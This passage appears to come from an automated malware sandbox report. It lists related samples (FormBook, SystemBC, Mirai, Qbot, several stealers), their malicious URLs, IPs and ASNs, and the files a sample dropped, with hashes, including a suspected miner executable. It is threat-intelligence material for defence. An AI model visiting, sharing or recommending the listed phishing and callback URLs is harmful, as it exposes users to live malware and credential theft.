	Newly Arrived Shipping Document.exe	Get hash	malicious	FormBook	Browse	www.oreh.net/1j32/
	Details of Your Etisalat Summary Bill for the Month of May 2024.exe	Get hash	malicious	FormBook	Browse	www.aerotyneholdings.com/da29/?6l=zMkbXlAjBAhUzX2IHy11bPpbi+JoISa3f3VK09dwhIavwNJbYx88ATU2pMBs24q8oQzA&2dqhl=R2MlVxP8ert
	VSL_BUNKER INQUIRY.exe	Get hash	malicious	FormBook	Browse	www.supermontage.com/9i8t/?4PB=2T5+pGPdigXxZZx8gY/OSLODLjvvwj0MjlV7S+1Ldbgia1Gm71jO+3C1ccfYbIwVvCUgnk/aeboESokRLTli2QWqQuYbgw8p6Q8aB1I7ivKjFloRg7F5nUdQ3eKMHcuV8w==&wdZh=n2Ih08C05RZDa
46.23.69.44	Request for Quotation # 3200025006.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.looealpacas.com/ntpp/
	Request for Quotation # 3200025006.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.looealpacas.com/ntpp/
	JUSTIFICANTE DE PAGO 18903547820000.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.looealpacas.com/ntpp/
	ZgDPnNtvhR.exe	Get hash	malicious	FormBook, zgRAT	Browse	www.africa-connective.com/sziq/?YV=PpyuDi2vDhDjQ57TkACcnXno456rzHq9gSp/yxSONEhnftrtNn0HgqcP7ws47jIVlXmPoSTTP5YKO8/yVRAt+pzRWBbBfM8Fug==&pV1L=w6j86j4p8ZOxP
	Reverse_Invoice.exe	Get hash	malicious	FormBook	Browse	www.africa-connective.com/udwf/?mjp4bHS=Psb5yQ7igJo9+4/ioDbNTzeLKFPo0g0bKamXqi92klql4hbTHBFSP0KFwnU2a4f/Cs+13ovmsF47ixHeoQPqiDeRgzlHCMLMxA==&FBODO=UPF05xoPwpatlVFp
	e-dekont_html.exe	Get hash	malicious	FormBook	Browse	www.africa-connective.com/sziq/?1vfHSTkH=PpyuDi2vDhDjQ57S4QDx1wy21cS/6g29gSp/yxSONEhnftrtNn0HgqcP7ws47jIVlXmPoSTTP5YKO8/yVRAt7ryRSBbActoFug==&pZ88=5vjh
	DECART.exe	Get hash	malicious	FormBook	Browse	www.africa-connective.com/sziq/?SbsdD2Nx=PpyuDi2vDhDjQ57S4QDx1wy21cS/6g29gSp/yxSONEhnftrtNn0HgqcP7ws47jIVlXmPoSTTP5YKO8/yVRAt7ryRSBbActoFug==&OhB=HBs0
	130_xlsx.exe	Get hash	malicious	FormBook	Browse	www.africa-connective.com/sziq/?VrCP=PpyuDi2vDhDjQ57TkACcnXno456rzHq9gSp/yxSONEhnftrtNn0HgqcP7ws47jIVlXmPoSTTP5YKO8/yVRAt+pzRWBbBfM8Fug==&7r=KTBDzDT0Nn-lQZuP
	vDXkQEbxeQ.exe	Get hash	malicious	FormBook	Browse	www.clm-grp.online/oqhk/?kDEhipYx=I2qhnXYsgBqXshaINHxJP87IlvR2BXXcj7m+znlPv080EUwcgLnLMY334q74ibBKGeRVkbp4gB9GCmaRXNkWz84XwPqZJdkRnQ==&M01x=UlydgdiP
	PO_4501283529.xls	Get hash	malicious	FormBook	Browse	www.clm-grp.online/oqhk/?L44pe6=I2qhnXYsgBqXshaXR2BZPL/HvKwTXkPcj7m+znlPv080EUwcgLnLbNT74/H7jdtKGuQr/vFxkDJKJmLkUuJ2x9gF0O6nIPVTo15UyuI=&_le4=rzhdyZOp9Ljl
187.6.211.40	cbIcBAgY5W.exe	Get hash	malicious	SystemBC	Browse
187.6.211.40	td2RgV6HyP.exe	Get hash	malicious	SystemBC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mx.jk.locaweb.com.br	8holJWXFZe.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	200.234.204.130
	xqz8sQ4mZB.exe	Get hash	malicious	Glupteba, SmokeLoader	Browse	200.234.204.130
	xSLm8YQMXX.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	200.234.204.130
mx4.pub.mailpod9-cph3.one.com	jcY9CjvBDG.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	185.164.14.124
mx4.pub.mailpod9-cph3.one.com	x7RlIzQDk1.exe	Get hash	malicious	Unknown	Browse	185.164.14.124
smtp.dka.mailcore.net	3Lf408k9mg.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse	185.138.56.194
	file.exe	Get hash	malicious	SystemBC	Browse	194.19.134.66
	vm6XYZzWOd.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse	81.7.169.194
	mrPTE618YB.exe	Get hash	malicious	PureLog Stealer	Browse	194.19.134.66
restores.name	KRPCeWt0II.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	52.143.157.238
	VwjpUyPk2S.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	52.143.157.238
	X73UIgFdhU.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	16.171.168.177
	cuObZRxN0x.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	16.171.168.177
	SecuriteInfo.com.Win64.Evo-gen.21575.16188.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	18.230.76.116
	EIrPdlD2lA.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	18.230.76.116
	W35f7Q4h8Y.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	18.230.76.116
	uBhJLQ37k8.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	18.230.76.116
	4t3jSuvHnc.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	18.230.76.116
	file.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	54.241.95.51
bigpond.net.au	file.exe	Get hash	malicious	SystemBC	Browse	139.134.5.153

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LINODE-APLinodeLLCUS	R00634789001126789_PDF0863.exe	Get hash	malicious	FormBook	Browse	69.164.202.216
	cbIcBAgY5W.exe	Get hash	malicious	SystemBC	Browse	139.162.234.186
	http://162.216.17.47	Get hash	malicious	Unknown	Browse	162.216.17.47
	Ticket (WS455-6593).msg	Get hash	malicious	Unknown	Browse	45.33.29.14
	DPL SO-CDC63 24-0527MU.xls.vbs	Get hash	malicious	FormBook, GuLoader	Browse	66.228.55.6
	BASF Purchase Order.doc	Get hash	malicious	FormBook	Browse	45.33.6.223
	file.exe	Get hash	malicious	SystemBC	Browse	72.14.185.43
	3Lf408k9mg.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse	45.33.23.183
	http://trumpmaga.vip/NbqUu	Get hash	malicious	Unknown	Browse	45.56.91.11
	MAWB# 695-47123101 - PN1 MOL MAESTRO V-073E..scr.exe	Get hash	malicious	FormBook	Browse	45.33.23.183
TECNOADSL-ASIT	GvNh44c0Un.elf	Get hash	malicious	Mirai	Browse	89.189.49.167
	7WWLBYYluZ.elf	Get hash	malicious	Mirai	Browse	89.189.49.189
	https://idehcharge.ir/h5y/?65704332	Get hash	malicious	Unknown	Browse	217.20.252.15
	3LqyRhuLwv.elf	Get hash	malicious	Mirai	Browse	89.189.49.197
	L75eWoO3v1.elf	Get hash	malicious	Mirai	Browse	89.189.49.192
	Spote.OCCXX.dll	Get hash	malicious	Qbot	Browse	87.252.106.235
	bhcbvcpu.dll	Get hash	malicious	Qbot	Browse	89.32.158.118
	BSN-1691017989.js	Get hash	malicious	Qbot	Browse	87.252.106.235
	BSN-304979599.js	Get hash	malicious	Qbot	Browse	87.252.106.235
	Spote.OCCXX.bin.dll	Get hash	malicious	Qbot	Browse	87.252.106.235
GOOGLE-2US	https://bizfilehub.com/statement-of-information.php?utm_campaign=Segmenteq&utm_source=1323553&utm_medium=1880848	Get hash	malicious	Unknown	Browse	35.215.124.238
	9hD6o07kwl.exe	Get hash	malicious	FormBook	Browse	35.212.10.247
	https://www.sordum.org/downloads/?ntfs-drive-protection	Get hash	malicious	Unknown	Browse	35.208.249.213
	https://wetransfer.com/downloads/500e7f36ea6ce7e88cbd439526ad9f2e20240603080738/09d4ab8c84f1760fdcaa29af1c10b2c420240603080754/8b8539?trk=TRN_TDL_01&utm_campaign=TRN_TDL_01&utm_medium=email&utm_source=sendgrid	Get hash	malicious	Unknown	Browse	35.214.149.91
	http://telegrum.xyz	Get hash	malicious	Unknown	Browse	35.214.149.91
	https://dawatywmaitzdzmys.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	35.214.149.91
	https://ledger-sync-extens.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	35.214.149.91
	https://www.of372.com/	Get hash	malicious	Unknown	Browse	35.214.149.91
	http://sky-uk-101362.square.site/	Get hash	malicious	Unknown	Browse	35.214.149.91
	http://www.today.com	Get hash	malicious	Unknown	Browse	35.214.241.248
FranceTelecom-OrangeFR	41XX8Kwk8K.elf	Get hash	malicious	Mirai	Browse	86.220.144.173
	rcO18ocUnR.elf	Get hash	malicious	Mirai	Browse	82.120.150.237
	gI7kdes69D.elf	Get hash	malicious	Mirai	Browse	81.251.170.127
	U2cdjU4Vkz.elf	Get hash	malicious	Unknown	Browse	86.213.96.53
	y4YCgjlv0U.elf	Get hash	malicious	Mirai	Browse	194.2.196.245
	jboc00A6YP.elf	Get hash	malicious	Mirai	Browse	2.15.132.101
	d3QnC8o5nz.elf	Get hash	malicious	Mirai	Browse	83.114.18.64
	ls0PnGaKLG.elf	Get hash	malicious	Unknown	Browse	81.251.122.228
	Lt9n9tfJhl.elf	Get hash	malicious	Unknown	Browse	2.4.227.174
	TsqgzNktKo.elf	Get hash	malicious	Unknown	Browse	86.203.213.110

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\WindowsServices\WindowsAutHost	zTMEFv0Dh3.exe	Get hash	malicious	Xmrig	Browse
C:\ProgramData\okili\peombdb.exe	cbIcBAgY5W.exe	Get hash	malicious	SystemBC	Browse
C:\ProgramData\okili\peombdb.exe	td2RgV6HyP.exe	Get hash	malicious	SystemBC	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.35999246155449205
Encrypted:	false
SSDEEP:	6:6xroaaD0JOCEfMuaaD0JOCEfMKQmDUxroaaD0JOCEfMuaaD0JOCEfMKQmD:JaaD0JcaaD0JwQQHaaD0JcaaD0JwQQ
MD5:	8E4D539900F876E292F2677EDA0D342B
SHA1:	BF23113E754A74685EDD474356D8B66487D24B20
SHA-256:	EAFAC5F555827CAF427E5B6D4DE23E38DE781E7BE1B16A7F75F4DCA3C56A341D
SHA-512:	6CDF88902FDF82D97DB8E8DFD8FC7A1820A8C8D11544AA66229F6F6C2DF3CFBBC73E0C3B569A6B5499F2426FD9BEA01833F1740E59B4FF3493937042EA55B070
Malicious:	false
Preview:	*.>...........v.....D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................................................v.............................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8049265671566325
Encrypted:	false
SSDEEP:	1536:CJD1YBdWK7S50AhnZ0Ag0ALzJVEbJBJlPVPEH3cNkPfF7Njg9QaQfOgFrGXuE5TV:CJC5rk0X+MbJ72D4qgfiaDhvO7VMBfe
MD5:	88E8AF53FE0958B4221D1BF9F8F73998
SHA1:	8DCD00A09D917A0D2B9C024B5687412975B37653
SHA-256:	9EA3D5D202D4FA1B5A81284EF89593657F2BD08B84747C032C953D3F26196F82
SHA-512:	E2288ABFB281D08E6843FF7B5C04E325B6396190E79EF80C04AC125D03F054E52DB439675592BCDE6BD28EE272D1C83DC210B5B48A0FDEE7B4344147B0A0A54C
Malicious:	false
Preview:	dg".........@..@%9...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................T.....#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf95d306c, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.646530002880191
Encrypted:	false
SSDEEP:	1536:dSB2ESB2SSjlK/Abl906Z546I50AEzJRYkr3g16Xj2UPkLk+kzLKho38o31N1ndH:dazaqbvHIM2UnWlW
MD5:	5F65BFF502AE78D694C18D68266C389F
SHA1:	612A0D05DA24D61A410BB4940DAE9594D3876031
SHA-256:	C1CD01FA9989B3C07885B56E02A21C83C54D835DCF9C4BE4ED2CDC72115702CD
SHA-512:	F3CBFFA3B640CAD4EED9FA2E41F3B453F084140748A8ED492DF864055E81D7B828D57A1F1C3FF952CB4AD80B8C82993A2D33BE5515E057196ED0BB74F5C855C1
Malicious:	false
Preview:	.]0l... ...............X\...;...{......................0.u..........\|.. ....\|..h.r..........\|..0.u.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{...................................rn.....\|....................y......\|...........................#......0.u.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07919837454546344
Encrypted:	false
SSDEEP:	3:msSllWetYeyFkg71Z+4vUj1RZQ17iollRl3/lllllZM4lll:mFbzaVL8BRY1/llD
MD5:	A5EFB1A7629CDAD4225DD046C5AC3FAB
SHA1:	4D10843C14F646F389499C1B7FE83457B14A1BB4
SHA-256:	56CD32DD02F6B8F83F7736C0EAD61CD9501D0F04010054229582AD6C8D5C9C11
SHA-512:	2B2AB0968235D627B0AA5C6AA3DB4A76A4E4D6D7B8C6896926EEC666D6C3F04B2FE5EBEB429902CF2E91539FD26FA6CC0C2753028CC04B7A818C00C789F05EB7
Malicious:	false
Preview:	.........................................;...{.. ....\|.......\|...............\|;......\|...g......\|....................y......\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_gold.exe_3a96ad9f3977964f71434c5ae969dc26b5d95c4_779fa29e_e0ff54d4-2b64-4112-9a14-b33027993c5b\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6755240423429727
Encrypted:	false
SSDEEP:	96:D2nF6CLIGhsNhqMv7qRUSKQXIDcQyc60cEjcw3L+HbHg/opAnQHNZAX/d5FMT2SG:gYGhjrd0swJkjSzuiF/Z24IO8H
MD5:	F2C3BF5A074F2782EDF893B3137039B3
SHA1:	0AA34C6D0EAB5EF2FAE1374381E8DAFD0B831116
SHA-256:	384E3651C4DE0C5D278512A4CB4262A350D0508BA56594758184BB7A76740E7A
SHA-512:	32ED390092E86D2C1A6220C38228F1658EAAEB39575DD9936123F09275344465B77CF3E7B96E2D5DA8FC5ED1BA66A325F10F6A1FCECB1F0C471BA0FC718AB7F5
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.2.0.0.8.9.6.5.2.7.0.7.8.1.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.2.0.0.8.9.6.6.3.3.3.2.9.0.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.0.f.f.5.4.d.4.-.2.b.6.4.-.4.1.1.2.-.9.a.1.4.-.b.3.3.0.2.7.9.9.3.c.5.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.7.b.3.d.b.8.9.-.8.7.1.1.-.4.f.f.4.-.b.6.f.c.-.d.1.8.b.d.0.f.d.a.d.1.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.g.o.l.d...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.7.4.-.0.0.0.1.-.0.0.1.3.-.6.c.f.7.-.3.d.7.3.c.3.b.6.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.5.3.3.1.e.7.2.d.9.2.1.a.b.d.f.1.7.0.5.1.4.a.5.1.f.c.b.a.a.7.a.0.0.0.0.0.f.f.f.f.!.0.0.0.0.e.0.4.b.8.4.9.c.c.0.1.7.7.9.f.e.2.5.6.7.4.4.a.d.3.1.5.6.2.a.c.a.8.3.3.a.8.2.c.1.!.g.o.l.d...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.5././.2.6.:.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDA2B.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Jun 4 21:09:25 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	33930
Entropy (8bit):	1.81073770304039
Encrypted:	false
SSDEEP:	96:5t8O2TygGDkqfNYZEE52i7ywI9nMpDRhp8jhhIs3JFgVD5ZpliVGQMLeMj6ZMVQT:4OjUIO6tmhCQpHpQVGQMywQ+A6/6/Cs7
MD5:	966F8F24B207A192286C681F4936B8CA
SHA1:	77C4D5E0AE576899156166C040C0A68F0C9C843B
SHA-256:	193D52396B3FCEC387BA4A2765454CB1C1D006F505394A721D6CB20C9660762B
SHA-512:	77006679C8C753E5B7DC5CFA3CB0286AFA9EAC72B67263EBFA1B00586CF5C876E7DDAEDFCB0358B2F0A7C013A1B49B6E63043EC54F3AFDC76DEDA5F99DFABDE9
Malicious:	false
Preview:	MDMP..a..... ........._f........................................>...........T.......8...........T...........P...:y..........D...........0...............................................................................eJ..............GenuineIntel............T.......t...x._f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDA89.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8360
Entropy (8bit):	3.687146526685946
Encrypted:	false
SSDEEP:	192:R6l7wVeJG76iIie6YBZ6i/m8AJgmfxudpDD89b5QsfMTm:R6lXJi6h6Yv6ie8AJgmfxL5jfl
MD5:	DD461882F48A33B449926D17E1B47E8B
SHA1:	3D691B3862FACB414E55119255B69B58847E37B2
SHA-256:	9B9774180398685428CFD86B1F1319BC0929F2577DD1C2A940A02F105E4AE412
SHA-512:	EE6691E7D62F4105D8B7D1762FE07B64855B17EF5B80010F543A1A899ADF060385D0C9C14498A85F829C61B8994B7ED84EAF271169D7CE83BA27CD6C012A110F
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.7.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDB84.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4638
Entropy (8bit):	4.412335613421857
Encrypted:	false
SSDEEP:	48:cvIwWl8zsLJg77aI91yWpW8VY3Ym8M4J0JfYF++q8vTJfVrbCz3d:uIjflI7LT7VDJ0pLKTpVrbY3d
MD5:	6DA2D7CA48907835F2D88A21B7A73E12
SHA1:	AFDBE48A1185E7C463A09B842DBA07745A340C6D
SHA-256:	C44403C537894B0071EB791BC729151F6EDA7EA417F9F69EC215D159CECBD53D
SHA-512:	D98FE84ED9A2DE13DA975915B669BF0333B07282497A6C1A06484CCD788779DF8647ABF843250D4594CF72BF4576056BE32839FD587E8017578A4F87514D6AFE
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="353532" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDBB1.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	92574
Entropy (8bit):	3.057654021705842
Encrypted:	false
SSDEEP:	1536:0EmHDFW8TSrPMvktZEkJlaNWY3HhoDzbLUeJ8mK+qzxQ+s+S+atntACw11YThnKf:0EmHDFW8TSrPMvktZEkJlaNWY3HhoDzw
MD5:	7C26F6529D6A916DA5F2D9A1C864CD0F
SHA1:	787A6577266A439A5FE23B702B30967F6FE77339
SHA-256:	D1E9180F3419B325E414F9B3D0368DD930DA18BAD1CAEFF30B3950D039EB7A0D
SHA-512:	4A1F4521DDDCC263321D1E5C6568CC810E6895F920AE3A1CF6B825520C26D6552FF022ED56DBC874A7B02373548B2DB6AABB7E26A07DA219C7201906F4088910
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDC5E.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6849276625787257
Encrypted:	false
SSDEEP:	96:TiZYW6GMQdYQaYPWNHEYEZhDtPiWERJswEv/apX0BM5KonIey3:2ZD3VacTHapXgM5KoIey3
MD5:	2AE0F938F929404200BF8FE2C69B1ABC
SHA1:	2F896BFEF443CF81F850F9E593210621F3199994
SHA-256:	52BB6937459C5FEFCFC873B9837B2E12DFA2290A4FE03469C4A49AA99C663EFD
SHA-512:	6B0ACE9795CFAC0909746BEA2D3094AC31A48935B83B11F4EE525B3A570D3A44DC40600F56D6B8362F7CB672C66886B99F89A2BBF225D59DBEB67F84616AC2D9
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\WindowsServices\WindowsAutHost

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000014001\services64.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	17697280
Entropy (8bit):	7.908254163260824
Encrypted:	false
SSDEEP:	393216:VqXwsD/P9ME9hCb4B6+SY34VAw+56VbaK5P5jH7s:VqX/DDb24xt4VF46V+Kp5T7
MD5:	C8A50A6F1F73DF72DE866F6131346E69
SHA1:	37D99D5A8254CEAD586931F8B0C9B4CF031E0B4D
SHA-256:	59E6A5009CE5E9547078DB7F964BB8FC10EE999DD35B7E9243F119DB8337AA8D
